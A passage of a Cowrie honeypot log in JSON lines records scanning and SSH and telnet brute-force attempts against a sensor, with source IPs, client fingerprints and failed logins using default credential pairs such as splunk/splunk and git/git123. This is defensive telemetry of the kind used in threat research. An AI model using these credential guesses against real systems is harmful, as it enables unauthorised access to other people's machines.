{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52636,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3c7868eceb2","protocol":"telnet","message":"New connection: 152.42.224.71:52636 (10.17.0.5:23) [session: d3c7868eceb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:16.297086Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52646,"dst_ip":"10.17.0.5","dst_port":23,"session":"e72ea7c2859a","protocol":"telnet","message":"New connection: 152.42.224.71:52646 (10.17.0.5:23) [session: e72ea7c2859a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:18.851387Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52654,"dst_ip":"10.17.0.5","dst_port":23,"session":"7332202741d6","protocol":"telnet","message":"New connection: 152.42.224.71:52654 (10.17.0.5:23) [session: 7332202741d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:19.836934Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52670,"dst_ip":"10.17.0.5","dst_port":23,"session":"88486b0a7e99","protocol":"telnet","message":"New connection: 152.42.224.71:52670 (10.17.0.5:23) [session: 88486b0a7e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:23.574272Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38362,"dst_ip":"159.203.135.109","dst_port":22,"session":"cad12b36f80b","protocol":"ssh","message":"New connection: 31.40.204.166:38362 (159.203.135.109:22) [session: cad12b36f80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:24.484719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:24.508842Z","src_ip":"31.40.204.166","session":"cad12b36f80b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56207,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8d04f21822f","protocol":"ssh","message":"New connection: 152.42.212.128:56207 (10.17.0.5:22) [session: d8d04f21822f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:24.693186Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:24.698130Z","src_ip":"152.42.212.128","session":"d8d04f21822f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:24.705245Z","src_ip":"152.42.212.128","session":"d8d04f21822f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:24.710545Z","src_ip":"31.40.204.166","session":"cad12b36f80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.94476246833801,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:25.395786Z","src_ip":"152.42.224.71","session":"bee57cf07d2b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:25.714094Z","src_ip":"31.40.204.166","session":"cad12b36f80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.411789894104004,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:26.341533Z","src_ip":"152.42.224.71","session":"4648bc13bf7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:26.899464Z","src_ip":"31.40.204.166","session":"cad12b36f80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00499987602234,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:30.645030Z","src_ip":"152.42.224.71","session":"ecc85fd37df3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.17176365852356,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:31.000967Z","src_ip":"152.42.224.71","session":"70aa12ac517f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54516,"dst_ip":"159.203.135.109","dst_port":22,"session":"53c49e1a21ef","protocol":"ssh","message":"New connection: 31.40.204.166:54516 (159.203.135.109:22) [session: 53c49e1a21ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:36.319526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:36.381127Z","src_ip":"31.40.204.166","session":"53c49e1a21ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:36.505967Z","src_ip":"31.40.204.166","session":"53c49e1a21ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:37.081449Z","src_ip":"31.40.204.166","session":"53c49e1a21ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:38.210749Z","src_ip":"31.40.204.166","session":"53c49e1a21ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":97.04046845436096,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:42.132252Z","src_ip":"152.42.224.71","session":"80ac779f00c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.94396471977234,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:44.192825Z","src_ip":"152.42.224.71","session":"f9f4259df25e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41952,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b724e74422d","protocol":"telnet","message":"New connection: 152.42.224.71:41952 (10.17.0.5:23) [session: 6b724e74422d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:44.197544Z"}
{"eventid":"cowrie.session.closed","duration":37.76031446456909,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:45.993085Z","src_ip":"152.42.224.71","session":"42709c3e24d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50516,"dst_ip":"159.203.135.109","dst_port":22,"session":"de3c95f956f2","protocol":"ssh","message":"New connection: 31.40.204.166:50516 (159.203.135.109:22) [session: de3c95f956f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:47.799418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:48.014792Z","src_ip":"31.40.204.166","session":"de3c95f956f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:48.018559Z","src_ip":"31.40.204.166","session":"de3c95f956f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:48.712326Z","src_ip":"31.40.204.166","session":"de3c95f956f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33920,"dst_ip":"10.17.0.5","dst_port":23,"session":"19761b6bf405","protocol":"telnet","message":"New connection: 152.42.224.71:33920 (10.17.0.5:23) [session: 19761b6bf405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:49.696735Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:49.890751Z","src_ip":"31.40.204.166","session":"de3c95f956f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33936,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a2255e5fc85","protocol":"telnet","message":"New connection: 152.42.224.71:33936 (10.17.0.5:23) [session: 2a2255e5fc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:51.039120Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33946,"dst_ip":"10.17.0.5","dst_port":23,"session":"84e4b94db125","protocol":"telnet","message":"New connection: 152.42.224.71:33946 (10.17.0.5:23) [session: 84e4b94db125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:53.325601Z"}
{"eventid":"cowrie.session.closed","duration":6.140237092971802,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:59.465720Z","src_ip":"152.42.224.71","session":"84e4b94db125","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42352,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef23aa2dc51d","protocol":"ssh","message":"New connection: 31.40.204.166:42352 (159.203.135.109:22) [session: ef23aa2dc51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:59.784724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:59.800066Z","src_ip":"31.40.204.166","session":"ef23aa2dc51d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:59.919009Z","src_ip":"31.40.204.166","session":"ef23aa2dc51d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36654,"dst_ip":"10.17.0.5","dst_port":23,"session":"27de3d5797e2","protocol":"telnet","message":"New connection: 152.42.224.71:36654 (10.17.0.5:23) [session: 27de3d5797e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:00.053135Z"}
{"eventid":"cowrie.session.closed","duration":10.397072076797485,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:00.093712Z","src_ip":"152.42.224.71","session":"19761b6bf405","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:00.585278Z","src_ip":"31.40.204.166","session":"ef23aa2dc51d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36664,"dst_ip":"10.17.0.5","dst_port":23,"session":"62bd392d549e","protocol":"telnet","message":"New connection: 152.42.224.71:36664 (10.17.0.5:23) [session: 62bd392d549e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:00.675308Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:01.719799Z","src_ip":"31.40.204.166","session":"ef23aa2dc51d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36678,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9ee661fb91d","protocol":"telnet","message":"New connection: 152.42.224.71:36678 (10.17.0.5:23) [session: c9ee661fb91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:02.739487Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36692,"dst_ip":"10.17.0.5","dst_port":23,"session":"e88173687ca5","protocol":"telnet","message":"New connection: 152.42.224.71:36692 (10.17.0.5:23) [session: e88173687ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:04.743320Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36698,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece04b33d1d9","protocol":"telnet","message":"New connection: 152.42.224.71:36698 (10.17.0.5:23) [session: ece04b33d1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:05.008238Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48748,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5888c21efa4","protocol":"telnet","message":"New connection: 152.42.224.71:48748 (10.17.0.5:23) [session: b5888c21efa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:08.562823Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46870,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e5fc583864c","protocol":"ssh","message":"New connection: 31.40.204.166:46870 (159.203.135.109:22) [session: 0e5fc583864c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:11.615043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:11.619754Z","src_ip":"31.40.204.166","session":"0e5fc583864c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:11.816020Z","src_ip":"31.40.204.166","session":"0e5fc583864c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:12.516060Z","src_ip":"31.40.204.166","session":"0e5fc583864c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48760,"dst_ip":"10.17.0.5","dst_port":23,"session":"7420a1f74db2","protocol":"telnet","message":"New connection: 152.42.224.71:48760 (10.17.0.5:23) [session: 7420a1f74db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:12.551474Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:13.701327Z","src_ip":"31.40.204.166","session":"0e5fc583864c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48762,"dst_ip":"10.17.0.5","dst_port":23,"session":"6140f41d7110","protocol":"telnet","message":"New connection: 152.42.224.71:48762 (10.17.0.5:23) [session: 6140f41d7110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:13.773822Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52248,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6177e7f2e30","protocol":"ssh","message":"New connection: 31.40.204.166:52248 (159.203.135.109:22) [session: f6177e7f2e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:22.811320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:22.880929Z","src_ip":"31.40.204.166","session":"f6177e7f2e30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-d